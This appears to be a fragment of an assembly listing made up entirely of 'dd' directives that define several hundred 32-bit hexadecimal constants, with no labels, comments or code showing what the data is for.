dd 0FCD0A17h, 0F7901183h, 4F28EE2Ah, 0C993916Bh, 4FBEA4D6h
dd 74310366h, 0DDFB0347h, 931281BDh, 0D259E5C5h, 42F68353h
dd 903D421Eh, 5BBC96DDh, 0EDE9594Eh, 20798BE1h, 901C1541h
dd 83AF73E5h, 0D01F93CCh, 0EDA1965Fh, 0B127FB59h, 95D8F0BBh
dd 0FE2BDF88h, 5B2C6159h
dd 323EC4CCh, 8FEE800Dh, 244D69Dh, 0D55AFA09h, 6810649h
dd 9F225D0Dh, 0FC373637h, 33F018AAh, 1ABBD753h, 19BD52DBh
dd 4AEEC89Eh, 20F73236h, 31B5373Fh, 39874DBDh, 5AE03463h
dd 3AD68520h, 8C217F94h, 0B365A2A0h, 7BBDEAD1h, 1000FE15h
dd 5F51C59Ch, 7D8429AFh, 0F30D640Ah, 0E5A3EEABh, 0ACB5A06Bh
dd 9E9FA57Eh, 0B80DF64Ch, 7F775371h, 0C995465h, 57C3D55Ch
dd 0D86FC009h, 4EC63C91h, 39D9ADA1h, 7F5A9CCFh, 55EC1194h
dd 0B8E12990h, 6B7201BDh, 40147C9Eh, 0BF3B761Dh, 9F19D566h
dd 0FC7CF014h, 0C35C04B9h, 9C412E2Eh, 0B011613h, 0E68DA017h
dd 6B236EEFh, 3BC95E49h, 0EC9E53FDh, 0BD2DF0Ch, 0ECF9FCA9h
dd 22467D05h, 33383FF4h, 20FE9F0Eh, 6BE6189Dh, 0F37303EAh
dd 0A602E22Fh, 0DB9B5830h, 0C2A99363h, 538A038Bh, 943F9ADAh
dd 0BA4D83B3h, 0DE3CFB90h, 284808B3h, 0CAD39C9Dh, 0DE43293h
dd 361CF59h, 7EE154D7h, 41410496h, 3841FEAEh, 619B21A0h
dd 2BED53FBh, 657232Eh, 8FDE9171h, 0F8379E9Ah, 0B739FD1h
dd 17B2D4CBh, 0CCE9507Ch, 856C0175h, 21E2B97Dh, 86C8A852h
dd 0B14C1886h, 77509250h, 0A51B9201h, 0C8576F96h, 0A900CB5Dh
dd 0DB1436AFh, 0BD64A480h, 0F2F1E1C8h, 6FB20BF7h, 95DF5EC4h
dd 0CBC536B5h, 84C8F7A4h, 0FD665222h, 57F2368Fh, 0B6210C51h
dd 291AFEE3h, 6B8BF3Eh, 1F374E23h, 0C1BDD0BCh, 143C5733h
dd 0BC809BCFh, 8A264793h, 0E9834A18h, 0C56AEC1Eh, 3BAA0154h
dd 0BFC8513Eh, 8555D4BAh, 26A7C1CBh, 0F4C36E4Ch, 0A55BEC9Eh
dd 0D92A8318h, 0A04E8AAEh, 720E8359h, 89B4E687h, 93C4FF6Dh
dd 7275DFCFh, 95F7C859h, 73EC6F04h, 2581834h, 0D858A27Fh
dd 0F43EA808h, 0A34C218Ch, 3E517B85h, 4A94D411h, 0E51755C7h
dd 0AD0EFBD1h, 0BA142AB3h, 5A3412A2h, 8F8BCD86h, 773BDA18h
dd 8732D6DAh, 553358C8h, 0A18999D5h, 9B6A7769h, 9B156F1Fh
dd 0CF3C30D8h, 0E606BC14h, 0BCFD046Fh, 62CAA5AAh, 0DC4F8F13h
dd 89E83F38h, 0C2A869D9h, 143E7CC6h, 588B2920h, 6D64DF38h
dd 0FD44A262h, 32B5FD2h, 0E4DC976Fh, 72EC839h, 0D8E8AB42h
dd 5CC0AADFh, 9C3D3E13h, 59584049h, 4B3FF4DCh, 0C7303294h
dd 56FCCE77h, 0A9EFD52Dh, 0A4DBA616h, 0C133B91h, 0C9F1DA05h
dd 0A89CD4CDh, 0DF245D28h, 45DA5CE7h, 0DF2527E4h, 8ADD5D51h
dd 698847F2h, 0EFC6D068h, 0F4BEBAB4h, 0A35CAD22h, 73B67BBh
dd 2A37EA46h, 0BA004926h, 6B8FE053h, 0E77DFF58h, 0E5C2C899h
dd 51EEE428h, 1BFE3BECh, 36C92609h, 28FCCF6Dh, 0C3C5894h
dd 5E780B3Dh, 0DF2898B5h, 0ECA5ED51h, 9A1ED6C8h, 0C5F67CD2h
dd 336C42C4h, 0E6B356BCh, 0EED8BA36h, 0BCAFC8F3h, 4ABAE383h
dd 0DC07A3C6h, 0C299BF86h, 0B70CF8D5h, 2ED16F6Fh, 63374003h
dd 4A2D7B06h, 3C423FE5h, 0F154557Dh, 3D9B44EFh, 322BA87Eh
dd 0AF5289CAh, 0B7C49F8Fh, 9EAEF39Fh, 416FFB97h, 0FE640EE5h
dd 8E56D936h, 879CC8B8h, 2006386Ch, 9D9B4C40h, 0B0545CAFh
dd 787B559Fh, 231A9722h, 932B196Eh, 90E36368h, 0B07B06ABh
dd 0CABBF78Bh, 954A335Dh, 6EB92FCDh, 6EFC490Dh, 92287422h
dd 4E3FA6D4h, 86AE9683h, 0CF3EB426h, 0ACA98B83h, 197DDC1Ah
dd 2255400Fh, 0BB26BC8Eh, 2727B5E6h, 96E9770Bh, 4A40D7F9h
dd 0EB059D6Fh, 220DC96Fh, 0A5748163h, 0BBFC93F7h, 0EAC1CC53h
dd 0DC3BD903h, 227B30A2h, 0AABA6BACh, 894D050Ch, 9C54AFF2h
dd 0B5EA108Bh, 89E7E8AFh, 9748D5C7h, 8D798B6Fh, 0A34AD498h
dd 220D6C52h, 156D1E75h, 0ED8F48Bh, 0C190A59Bh, 0EFD50CE2h
dd 789DC31Bh, 2262D4F8h, 0C8A15474h, 0A186FCFCh, 6C11ED50h
dd 0B3736A47h, 8730503Fh, 30C67B3h, 8FC1C332h, 0DEAF7CE4h
dd 0F5E28E51h, 0CE940EF8h, 4A5049CCh, 83A3A8Eh, 3BD605F2h
dd 0D7145E5Bh, 432B86A6h, 0C1A63B64h, 0C245791h, 636F7C6Ch
dd 9FC3BF22h, 7AABD471h, 93457008h, 0E0256DEBh, 0CA6F628Bh
dd 83FE6DC8h, 0E7C1117Bh, 9A2563BEh, 0A13EDFF8h, 1202C978h
dd 5515BDF9h, 0BC792102h, 0F5456657h, 3E3D393Eh, 1A0C8408h
dd 0FED8DE2Eh, 0C5775152h, 3441E172h, 0B5C883F3h, 5B919217h
dd 7AB15h, 0CC455E5Fh, 59A34608h, 0E160D961h, 823E12EBh
dd 8416117Bh, 0B7E2758Ch, 9AA20A30h, 9B5FA77Bh, 68BB6FB8h
dd 0F537215Ch, 0AD5D7C97h, 51002534h, 0DEEDB53h, 0E09DFE49h
dd 411E7DB5h, 4E36D755h, 8D1ED28Ah, 0FA236A2Ch, 1E414B8h
dd 5B1792BCh, 494DF6BEh, 0BA7DFDFDh, 4FE9B720h, 1894F8D8h
dd 75C67C9Ah, 0F4E37DD2h, 4B5C72E2h, 4E649EA4h, 0DABC0381h
dd 0CBFF03E6h, 44684A29h, 2A222F82h, 0A2D401A4h, 20CB0C54h
dd 0A1EAAE82h, 11BCE103h, 1B11A846h, 0BD774E76h, 41914D9h
dd 99313DDEh, 0D6A0A220h, 0F9E67FCFh, 6A642B67h, 5F4DC27Eh
dd 0D9E4B4DAh, 710AE5D4h, 0D867AFFEh, 2F2AAF08h, 0FCBD06B2h
dd 6E406149h, 14721C5Ah, 775632FCh, 29D9470Fh, 8F020964h
dd 6080F984h, 0BAB000CEh, 4027C8BFh, 13CB5D0h, 9DD6CB20h
dd 2663415Ch, 0BDA32807h, 857FFBBBh, 643A47B8h, 0B183125Ch
dd 0F3D544FAh, 0A614739Eh, 9B17BA28h, 0E022BC61h, 68E2C3FFh
dd 757555B5h, 736F9A03h, 34A138D1h, 0A3711A2h, 1CD754D7h
dd 7D5984D1h, 438E056Dh, 0E1CFCA2Ch, 24FF52AFh, 13D5353Eh
dd 5B9A3689h, 0A9132569h, 0A6CC48C9h, 0E89FA67Bh, 0AAD8C824h
dd 289F73C0h, 1640CDD0h, 6BB93E16h, 73C525Ch, 0F6FE53F5h
dd 59F8568h, 6AF54224h, 75C2F2B4h, 8D4B1650h, 7A93D8E1h
dd 88EED3BBh, 0CFDD725Bh, 4C1DB455h, 524A57D2h, 0D5CA192Ah
dd 2F42648h, 661D40E8h, 4B3B9AE3h, 9BC0214Eh, 837C1EA0h
dd 54B1BEAAh, 1AD6C3BCh, 6A8D6F05h, 0A8C0FD12h, 0C7685637h
dd 870F8DF5h, 28E26357h, 82FD2983h, 76A47BE7h, 0E45F5B6Fh
dd 6A000F84h, 7E6D4D2Eh, 4C892CC1h, 0A0808FFAh, 96A349A7h
dd 0D92C2E27h, 0D86616A5h, 2EBBF5F3h, 0B09C6332h, 12F4E78Ah
dd 544B055Ah, 2DEEAFFDh, 0BB93692Bh, 0B946A783h, 952BC312h
dd 67CDBF56h, 22C7F7D3h, 0AC233EC8h, 0C4523E38h, 9AB3A04Bh
dd 78651F76h, 0DBBB946h, 0EB043996h, 0CCBD17ADh, 8668F0CFh
dd 22CCADFh, 9153AA7Ah, 0F6ABEBCEh, 8D9BF908h, 73749516h
dd 0C49F8561h, 39581D9h, 5289CCAEh, 0F34DC6EDh, 4D76BEFFh
dd 449B944Fh, 2885A683h, 0E4024BC7h, 0CE42EA0h, 12652797h
dd 0AA9E57BAh, 0A4099470h, 94D1D3D5h, 5C5B9B24h, 820A3407h
dd 2F91A8B5h, 0F788F05Ah, 49065DF3h, 64B49D9Ch, 0B3F20E2Ah
dd 1153F32Fh, 4E238521h, 55B445E6h, 663EB636h, 238E48CCh
dd 318FB56Eh, 386C85DBh, 0D51A9C47h, 441F3B6Eh, 120DC303h
dd 3B007859h, 0A9B17B4Bh, 0B055387Dh, 0BACA13CBh, 0B049FD33h
dd 6713FEDFh, 6C6CC50Eh, 14EA5E6Ah, 0A428D9D5h, 0EB31FD94h
dd 0AEBC6E67h, 68795CB9h, 0F40A6C71h, 85CE61A0h, 0B420AC63h
dd 0F58A42D9h, 486EEEBh, 0BCDD37A8h, 0D4E59296h, 830A58D1h
dd 0E48E58ABh, 92533DB4h, 6EA70520h, 0F345A47Eh, 376E1E02h
dd 99140837h, 0FCE0D0B3h, 0D7E55DECh, 8CA6DBCCh, 26848D93h
dd 359F0A6Eh, 1D05C880h, 0B826F644h, 9A07CE42h, 0FE1F5A2Bh
dd 6C764862h, 3EFEE8C3h, 32E95FCBh, 0A87C11C2h, 0CFE51CD2h
dd 99E2AD14h, 1B2CA583h, 61856EBAh, 2A848F83h, 0AEB5379Ch
dd 5C49A348h, 2F6CAAFFh
dd 9AD5073Bh, 62BA06BDh, 8AC0988Ch, 0D84F76D4h, 0EFFD137Eh
dd 0B36471E4h, 836A4126h, 85EC12FAh, 875EA478h, 339EF088h
dd 0C59D9575h, 5CE7D3F6h, 0BAAD33A4h, 6DFF7611h, 35289373h
dd 2D73389Dh, 0B8C3F231h, 700A147Bh, 96852183h, 59343EDh
dd 67E40FFDh, 2E6111B6h, 0C22BB536h, 0D02E7E5Bh, 0F7D10A5h
dd 0B6E1FBBBh, 3052E46Ch, 0A39E0A5Bh, 94E14033h, 3A8C95B9h
dd 54B9E468h, 0A22C018Eh, 5893B420h, 5459162Ch, 33C51C7Ch
dd 17DFDE5Bh, 0BB115D56h, 5202B5Eh, 4940A643h, 0EDC1D47Ah
dd 60989C63h, 0D5CEAED8h, 936672CEh, 0DBA14D0Ah, 577DBBCCh
dd 0D933C60Bh, 0B0910C92h, 0FFA64718h, 0F673BA88h, 0A837D36Eh
dd 1B51ADB7h, 2495AD45h, 9C69DED3h, 9073BBBAh, 97FBA72Ah
dd 6E6574BBh, 63D6611Dh, 2AE7C8A5h, 378C0AEFh, 29EC50F5h
dd 0C3934E46h, 9968D81Bh, 4635150Ch, 0E65D48F8h, 5D0FE7DDh
dd 62E4EBDCh, 755CF6FAh, 3A3C3D0h, 9A12B56Ah, 1D03B944h
dd 97B871DBh, 35C72186h, 61C2DD85h, 0F3BB5CBAh, 0C62846FFh
dd 0FD25D0F9h, 0F001BAD1h, 97A5A88Ah, 46C16283h, 79CADF36h
dd 0DD00337Dh, 1D663799h, 6A4148D3h, 140BEC95h, 8ACBDF9Ch
dd 1C115BD7h, 3E502A4Dh, 0CD6CEA86h, 0FA6DE2BAh, 0DF7BE5CAh
dd 82CB87F9h, 5F905842h, 41B77FFFh, 29D54341h, 0D6732805h
dd 0A37DB21Fh, 4E6E207Bh, 348C6495h, 51CFD860h, 7A0A50F0h
dd 0D80811C8h, 2EF0CCFCh, 870FFE6Fh, 3E3F9A34h, 0EC4D729h
dd 0F5A330FFh, 704F32E2h, 0A29FE2DBh, 10786131h, 0B9A2425Ah
dd 67056DAEh, 37FBE413h, 0D159B318h, 6BEE475Fh, 8230E58Eh
dd 0F959DEAEh, 0F76B7B6Ah, 0F476B7E7h, 0ED86847Ch, 14FF61E1h
dd 566828A2h, 36AE39D2h, 3E102747h, 36657E45h, 0C4D06477h
dd 44BFD2F4h, 0B30AF3B1h, 0BAD2FCA1h, 8BE598BBh, 0FA341957h
dd 94266F3Ch, 2B9E9911h, 70D0AE15h, 0D87369E4h, 0AD3FEEF9h
dd 0FBA26AAAh, 0AFCB51CBh, 2D252Ch, 0ED478636h, 5AE562C3h
dd 6A5870C7h, 0AA9CBB41h, 149ADD2h, 4A3D8ECAh, 2518CFB9h
dd 67EC38CFh, 0A1F32ACDh, 23543812h, 0CB1945E5h, 0D0783C6Bh
dd 9F2A203h, 325471EEh, 5331C9B7h, 0BA992174h, 18B2EEB7h
dd 0D808A262h, 0E9DA47B6h, 0C9436384h, 0BB347546h, 0CA2D00D1h
dd 108152DCh, 0A101DF59h, 19A7B107h, 0FEF4F92Ch, 0EFDA1C5Ch
dd 1BD7F30Ch, 0A3477F13h, 0D79D332h, 3A81A013h, 23C2A564h
dd 0BA257C02h, 0C376B625h, 319F9AF6h, 5DE242CEh, 0F825EADAh
dd 4FEC4F26h, 26E68331h, 0EB8BEFB4h, 0EFE2F6C4h, 0BFF317B1h
dd 2B959242h, 0E09FDF28h, 296534EDh, 8607D53Fh, 8BDA1B99h
dd 69EB7587h, 4870C567h, 7D94304Bh, 1BDEAF15h, 714EDEB7h
dd 441DB54Bh, 3493FA4Ch, 977F1BDh, 0F7C32D0Ch, 49AF59E2h
dd 45231D5h, 0F132E3D8h, 0D5073A98h, 48F2411Fh, 97D74254h
dd 0DA301C13h, 0C67C995Fh, 253A5C50h, 575F01CCh, 0E7BA55F1h
dd 0D6FF56B2h, 0ECB1B923h, 9FB2DAA3h, 0BD9B940Ah, 75F4BBD8h
dd 8A47121Eh, 65055236h, 77B436E6h, 0A2EBF4E6h, 89719B73h
dd 2100B6BBh, 1C83386Fh, 0EDE9A22Bh, 0F2505A44h, 8C0DF17h
dd 1429A86Fh, 841554E1h, 5D9B7A3Ah, 2250C1F4h, 0EAA06410h
dd 6BD9C089h, 0ADCA00F6h, 0AF6FD6B5h, 0B96B4631h, 0C0412864h
dd 0F53418A2h, 5CF61B9Dh, 53E4A002h, 0A31F71C0h, 0C8E0E7EEh
dd 0A89EA8CDh, 5E99581Ch, 158268F8h, 909B6116h, 71A93358h
dd 0F939CEF5h, 3DBE4C44h, 599BCF44h, 0E93D2AA7h, 0F2B4017Bh
dd 48091A73h, 0F5431258h, 0DE477FCh, 2B1AF2C3h, 6B67C37Bh
dd 93F76BDBh, 33F4054Ch, 14A0021Fh, 0A03F159Ch, 291709D4h
dd 0D1F1E694h, 0B747317Bh, 8683D909h, 9A1C5AFEh, 7DF090D2h
dd 1F472D85h, 0E26B8B98h, 9D2EA055h, 0EC1891C7h, 0C29C468Ch
dd 0FEE8F782h, 65CE772Bh, 1F5F2C4Ch, 0E38CCB6Eh, 317F6E3Fh
dd 0A5E3C3C5h, 8C9FCE6Ah, 8472EAE8h, 0B73D62Ah, 0F8B19E45h
dd 9187634Eh, 9E9C8D90h, 5D16BA1Eh, 0D8D1E537h, 0F5D2FD1Ch
dd 640CBBF3h, 0B7F0772h, 1E79DE0Dh, 0E5B16873h, 0E7EE8CDFh
dd 72B73AA3h, 9C74A53Ch, 46FC858Dh, 41D6C783h, 59DAE82Eh
dd 0C05E2823h, 1491BF0Ch, 0E76ADAC5h, 877A5D27h, 83AC2EFEh
dd 5ED1A062h, 74FFD9FFh, 77F41F9Eh, 3B31D02h, 0BAE27D8Bh
dd 0E5BF5169h, 17B7AF51h, 0C06610CEh, 0FBD8266Bh, 4CD157D6h
dd 0DA2CF22Eh, 13463E28h, 65AD5E9Ah, 0A7B3C187h, 3432C1F3h
dd 0BCA7BE9Eh, 0F1E6256Fh, 0A4BD13C2h, 756EEA4Eh, 8493F649h
dd 2258EB72h, 0A99A8C10h, 7A89EBB3h, 0DBE67559h, 0EF7CCE21h
dd 0D686AE32h, 81FB0791h, 6EBDA7D2h, 0F54F2E1Ch, 0F4F96E34h
dd 0B4ADBE3Dh, 807F6195h, 6DB7C86Ah, 9427A3D8h, 1F916F48h
dd 0ACD974B4h, 0E107974Ch, 8A602F37h, 539AB898h, 72044341h
dd 0C0345610h, 299A6B25h, 99489895h, 710FBD5Bh, 826BE35Ch
dd 45BCE52Eh, 43DB7234h, 2948209Ch, 576810EDh, 0E643742Ah
dd 314A756Bh, 0D1D89F4Bh, 0A6946EFAh, 0DD709FA7h, 0C7A9456Bh
dd 788F67F7h, 0C251F5C9h, 8402F25Ah, 0CBB0B230h, 7790FFB2h
dd 8B8EF751h, 11C10335h, 0BD2718A3h, 8B8E9AC0h, 0A42965E7h
dd 0EF64A929h, 169E771Bh, 8F8D4719h, 41E3EBCFh, 0A66B6150h
dd 0F0AF1E6Ch, 9E0049E9h, 0BDB55DC0h, 0BB177D9h, 558CC87Bh
dd 0A4DEB75Ah, 6FD0FBECh, 6DC56F71h, 0DA823CA5h, 0B75E5360h
dd 0D33507B7h, 6529B117h, 2FEB59E0h, 5597BFC7h, 0BCE1F758h
dd 45A81D47h, 73D583Ah, 5A0A0C75h, 5BD33F77h, 2058E4B3h
dd 0CD151393h, 0C3CF0D42h, 3A9FA35h, 89515965h, 4969F020h
dd 0CDCAF551h, 0E0E22B26h, 3A511E80h, 30193634h, 4BCA0C27h
dd 0F36F94FDh, 0D142E275h, 7D1182D3h, 90632D55h, 0FD360DE0h
dd 0CA43BF08h, 41F948D3h, 4D6EF88Bh, 0F81C0240h, 6B82A1CDh
dd 46F504DFh, 0F562AE9Eh, 0EDE1F1FBh, 5CBBF05Ah, 8140964h
dd 3507D9C4h, 0BEF87A40h, 4797E2FBh, 0E2CA4B4h, 0E2480F97h
dd 648DE671h, 0F1C0CB1h, 83119C2h, 0DB573BF0h, 0E2C03D16h
dd 0BEE5C9D3h, 0BC2B0D41h, 32A5FFCh, 0E112083Dh, 49CC5386h
dd 0B7EC02B8h, 0A7D9BB40h, 0D3FBBFBFh, 77D7922Dh, 0EF5A9534h
dd 0A3E1DCF4h, 85212E8Ah, 41D8DF2Ch, 2A7609EBh, 7876ED69h
dd 4F0B9874h, 1C166007h, 0BA8725F5h, 2EDC17F3h, 0DB534307h
dd 0E5E4AC75h, 5DA5E18Eh, 3F71E518h, 4DD3E885h, 0E11D4855h
dd 3F5C27BBh, 0C290C244h, 53BE2F5Fh, 0C6FBE82Ah, 5C601417h
dd 0C241A126h, 0E5545D73h, 0D38A733h, 0ECD7113Bh, 0A6DB9346h
dd 355ED9F0h, 34C889EFh, 0DA487E93h, 0D6EF6C41h, 7A65D039h
dd 2CC272BBh, 89171AB5h, 26EBE324h, 2FD9A699h, 79453714h
dd 1B719219h, 481D6489h, 7A6C05E7h, 4A7194A0h, 353019CFh
dd 40BF4123h, 7F4C1C98h, 0EA3FE815h, 9A984422h, 764A54B1h
dd 0ECFF96C4h, 1EBE40BBh, 63FE634Bh, 838DE0B3h, 0D84CBBBFh
dd 0DDD18297h, 0B94F7B6Ch, 2054BD13h, 0A48FAA04h, 0D310BC8h
dd 7C0A5669h, 0CED5DD4Eh, 0F2E6599Eh, 0A371BEB8h, 4CCBAFB3h
dd 0D9F65E19h, 0FAB6CBE5h, 6C8B5F64h, 96BEA8E9h, 1E6629ACh
dd 0B352F4C7h, 37A546A5h, 9C6FC020h, 5CB30BACh, 77275AB0h
dd 1349C7h, 0AAC38F77h, 404AF538h, 0A99EDB71h, 0AC200DD0h
dd 5BAFEC04h, 0FC1E8DE8h, 0BC7D01E0h, 0E2D29142h, 0FE861312h
dd 55805728h, 0AC18EB20h
dd 221687E8h, 8D204534h, 28FBDEC9h, 75285A9Eh, 5009AFDAh
dd 10C4A504h, 8AFF8219h, 4D5FA46Bh, 5AB0161Ch, 51D4AAC2h
dd 0AB65DF28h, 0EE2BFA0Ah, 0C83523Ah, 0C52F3A75h, 0F0637685h
dd 8FA6699Bh, 0DA1E7811h, 0C896DDB9h, 5786033Eh, 0C49FBD9Fh
dd 5CBF9405h, 68E753EFh, 0B31FF7ECh, 7A386513h, 0A51F8CBDh
dd 164F123Ah, 629064CAh, 0A512720Dh, 0EFAC1C4Ah, 0F5CC405Ah
dd 17570EF0h, 0B04DC205h, 0B886B5B2h, 8E94475Bh, 6C7D2C82h
dd 1F34DF4Bh, 31B90B18h, 5CE22CDEh, 0D1B79B19h, 7D4436CCh
dd 3A059026h, 816124FCh, 8276323Ch, 17035B2h, 0D8535FCh
dd 2E2FBD3Ch, 9152069Bh, 3355ED49h, 4FA90280h, 1DBB708Ah
dd 560AEB8Bh, 5CB5C128h, 0EF5F8588h, 0A13A6EA9h, 0D7C8EFDAh
dd 4CC0F834h, 4956B73Fh, 8F6E6E01h, 89C96BF4h, 89FDE907h
dd 8A21D80h, 0CEE601D9h, 87863AC0h, 66BF7CD4h, 0F8E57633h
dd 6ACA34C7h, 66F7B576h, 819CDBFDh, 4A3A757h, 816F97D7h
dd 3D37EAABh, 0B0FB4866h, 76DC1386h, 0E142D9B7h, 0B7A808h
dd 5F7C57D7h, 0E68A2559h, 0FE765EB2h, 0CFCCF0CFh, 0E2E306EFh
dd 0E7ACDBA5h, 0A9838B91h, 494F0897h, 0AC2C543h, 0AD7F80F4h
dd 79366E73h, 3FFE9824h, 6662A10Fh, 4F09790Dh, 0F6824Dh
dd 59A48A1Ah, 872B9962h, 0D3E4BB1Ah, 2F2279Bh, 4DA9B1Dh
dd 25EA9949h, 0AF9C1512h, 0CC62BDAAh, 2050BC8Bh, 0C14E1BBh
dd 0B6AA7AA1h, 9FA299D7h, 0F582A6F4h, 0AD2F7F9Bh, 8E58AA26h
dd 7E182724h, 0D099BBE9h, 0FE60301Bh, 951D413Ah, 8436EFDBh
dd 408C8144h, 0A913BF42h, 6A33884Ch, 6BA081Fh, 22459CBh
dd 10409647h, 6E5500BAh, 0A6DD651Bh, 83647FC3h, 0BCD6F4DCh
dd 21E72D7h, 33EC0BF4h, 8A8D1FB6h, 0F3A79BECh, 0FA22CB30h
dd 0DAB304F4h, 0D8EBB059h, 1CFC9FB2h, 0BB780F25h, 23B8E1D0h
dd 6D2D21F4h, 229F3223h, 1B45D117h, 0F234821Ah, 4208A41Bh
dd 63C7D416h, 0CF98B7DDh, 7C4B72E0h, 52FC6890h, 76B31F1Eh
dd 0E24DDDBFh, 51AC6FD7h, 1554C3CAh, 71D2270Eh, 0CF54890Ah
dd 8E1DAA6Dh, 0C442C34Fh, 317FD6BDh, 16614419h, 1E265446h
dd 89B9DF46h, 0A0F855E2h, 4E6450E7h, 81945818h, 239D0CC0h
dd 0B415C46Eh, 0D332C920h, 0B44C0A66h, 7C94C45h, 591F0CF8h
dd 0F11C5BE2h, 409A9E09h, 0C26D374Ah, 4230C754h, 0C35E75A6h
dd 0DF73251Eh, 0ABAF44E5h, 0CEDA3B9Eh, 5EFDF5C1h, 0E1D289F1h
dd 22F89FC8h, 434DB89Ch, 5D753516h, 0C9089FBAh, 0BD73E640h
dd 74F35BCEh, 0B2B9D7E0h, 2F81AC2Dh, 0AC6B6A04h, 24102135h
dd 19ABE36h, 52294282h, 8C0F8F1Ah, 9FFAD95Eh, 0AA4E8590h
dd 26F1704Bh, 0BC62585Ch, 1B1C4F35h, 0B58CF2EFh, 0B3002127h
dd 8FC7B619h, 0A818B2FBh, 4348375Dh, 0EBF52E12h, 0B6FB92CFh
dd 0F0CBA3F1h, 4F511C33h, 1A1F327Dh, 0DC183E2h, 5F34FEF0h
dd 0B8304DEFh, 89358DE6h, 0CEE25010h, 0EA975A2Fh, 8FF7BEA2h
dd 81FC69D9h, 7D06B1C7h, 8D9E4E4Fh, 6CF0282Ch, 9B9FA1ABh
dd 9F454213h, 241B50FBh, 1FE4EF5h, 7233FE65h, 60C77EF6h
dd 46D3E891h, 2380D54Bh, 4FCF46D7h, 4978A8BDh, 919C4288h
dd 42D4C295h, 8331ABB6h, 43292B51h, 0D6A5B625h, 0F2EB7212h
dd 5BAE46B7h, 0F1D5E6Eh, 0A31E5FFEh, 0F486ED39h, 434B7AB8h
dd 0AF8AF112h, 0DE195DFCh, 4984AE14h, 0A3BC2219h, 8598A2FFh
dd 2AC85210h, 51FFFC2Fh, 78855475h, 0CE19CF52h, 0B3379145h
dd 0E07BDD1Ch, 0C948A6EDh, 0B6297707h, 3B7263B1h, 14B6DE08h
dd 2B8D6926h, 94F62BD6h, 516ED343h, 16526BABh, 2317D99Bh
dd 63765653h, 0B161749Ah, 6968B55Ch, 0ABE85ECAh, 9A2A9F6Ch
dd 985030EFh, 6A7BA470h, 8B82BBA5h, 45DFA5A0h, 8D54831Dh
dd 50353EB6h, 0C83256DDh, 0ED54F04Ah, 0E59431h, 1FFEB93Bh
dd 1A434011h, 0F1B427DAh, 0CF72DF0Ch, 0EF841BCDh, 1BC83DB8h
dd 0ED20C607h, 7E907514h, 6890FEBEh, 860236E6h, 442891FFh
dd 0D9AA9667h, 0DACA07F0h, 28CA28D3h, 9929D70Ch, 0D1AA5E27h
dd 4874B4DFh, 4DFBED5Ch, 40724461h, 0DDAACD66h, 0E2F3357Dh
dd 75F7C1A8h, 875FEC6Ch, 26767A8h, 39B0D4E4h, 37DE3224h
dd 0CA34ED8Dh, 4B75F922h, 54B53E85h, 5D5F9A5Ah, 11E7D027h
dd 0F1D56885h, 9BC56D9h, 0F38741A7h, 0EB3D4816h, 92A7534Ah
dd 443073E7h, 782545EFh, 672F5907h, 0A9B6875Dh, 2BED5907h
dd 38E3CFF5h, 8596084Ah, 3EC8FA05h, 5A79CEE3h, 5E175BC9h
dd 546BEA1Eh, 6EE9ACB9h, 0D04E3506h, 1BCC449h, 601A1838h
dd 19524C6Fh, 5C729A9Bh, 894709ECh, 19669A3Dh, 8391F933h
dd 9076A214h, 0C312337Fh, 9C555DEh, 0EBF283D5h, 0C0275064h
dd 38B14240h, 0D02C6854h, 0AB33ED64h, 4AD8AABEh, 12A3B5D4h
dd 45E6071Bh, 0CA98DE2Bh, 72CF8703h, 0E284313Ah, 25995F06h
dd 0B78EF3Ah, 4E35B6B0h, 35E12BE8h, 0C7620836h, 0BF08D7E6h
dd 7F1882B7h, 0C314782h, 63297D33h, 0EDB80CEFh, 41D1A739h
dd 548FC6B0h, 11F3B4C2h, 0CD688418h, 638FE721h, 0E65FA407h
dd 86917759h, 0D44652A8h, 1A2A2401h, 604C636Fh, 0A5B2D755h
dd 0F9D46330h, 3E78AC69h, 52E1B7E9h, 0B2195567h, 690B0EE5h
dd 9240C74Dh, 32DA2A10h, 3F40C8F1h, 71A38CBEh, 67D82E6Eh
dd 6FD3AC75h, 6DC7F910h, 0A764232Ah, 28AA34FEh, 50556218h
dd 200E038Fh, 0B40CCB3Fh, 7EF7E687h, 0BD5AAB7Fh, 8F854F78h
dd 9688A2F3h, 0F5DB40B7h, 719479BDh, 8A883DD5h, 0F6633875h
dd 6E909205h, 75CEC7EAh, 0BE9FC4FCh, 0B980D7A2h, 0F8CF28E7h
dd 2DD921CAh, 0BCFC19EAh, 2629B6D3h, 0EA7FE1FCh, 5DD4049Ch
dd 7F510000h, 134FB3F9h, 0FAB23E1Ch, 39B1FAD7h, 749024C3h
dd 0C1B2847Dh, 373AD1EBh, 88139646h, 2C7DEC36h, 0F17AE0EEh
dd 0FAB5402Bh, 72C4264Ah, 84DD8E07h, 705FB893h, 0A8BB3102h
dd 6FBABE46h, 56128C3Eh, 8EC9518Ch, 0F7EF4F33h, 56926337h
dd 220185B6h, 0D3C9794Ah, 9FF87A8Ch, 987361Dh, 0C10B658Ch
dd 0AA03B3FBh, 96DF255h, 2A62AB6Fh, 18F5908Fh, 169C6EFEh
dd 0FCC08FBFh, 0C665B28Dh, 0C2E317AEh, 5B312B4Ch, 583BE757h
dd 940EE2Bh, 0C63CE66Eh, 0B5C1B4EDh, 0B6E18772h, 0E900DDC2h
dd 44A0F554h, 7A24C6Ch, 256D1EA2h, 0DDFB1004h, 22D87757h
dd 856BDB3Dh, 0D333AC22h, 89C85346h, 0C2C50951h, 6CE82333h
dd 0C21BBA45h, 6C28E6F6h, 0B052E370h, 0AB0DE7F1h, 738B7FECh
dd 93F5A50Ah, 515E0CA0h, 99DB2B58h, 975E16F0h, 481D3D67h
dd 90B58104h, 0A15F51F7h, 0C4C9AF96h, 0C4815960h, 94F76F5Dh
dd 0F395587Bh, 1E57BDFAh, 0DBF4D21Bh, 6F915A81h, 365F041Eh
dd 0CCE2687h, 0B127E604h, 0C7A455C8h, 3373101Bh, 0E528715Dh
dd 64905B3Dh, 91FB2B7Bh, 8C4D6019h, 0A47DFBCAh, 0C069BB0Fh
dd 0B8FA9547h, 651A2D9Dh, 91F725B6h, 0F1937D5Ah, 0CF8B66A9h
dd 19AC397Eh, 0F8C08011h, 2F8D3903h, 0C713BC62h, 0E86DFC4Dh
dd 0D6F10346h, 6B64D365h, 955C31E3h, 0A847D7C9h, 8A8536ADh
dd 0A9DB4C3h, 0EB8C09C5h, 739A4155h, 824566F4h, 892EEEB5h
dd 0E20F652Ch, 5829F75Bh, 0EEBCD397h, 36667699h, 0AE896F42h
dd 0C0D31C8h, 7125E04Ah, 0D9E14F04h, 4AC68FA3h, 99A2CA75h
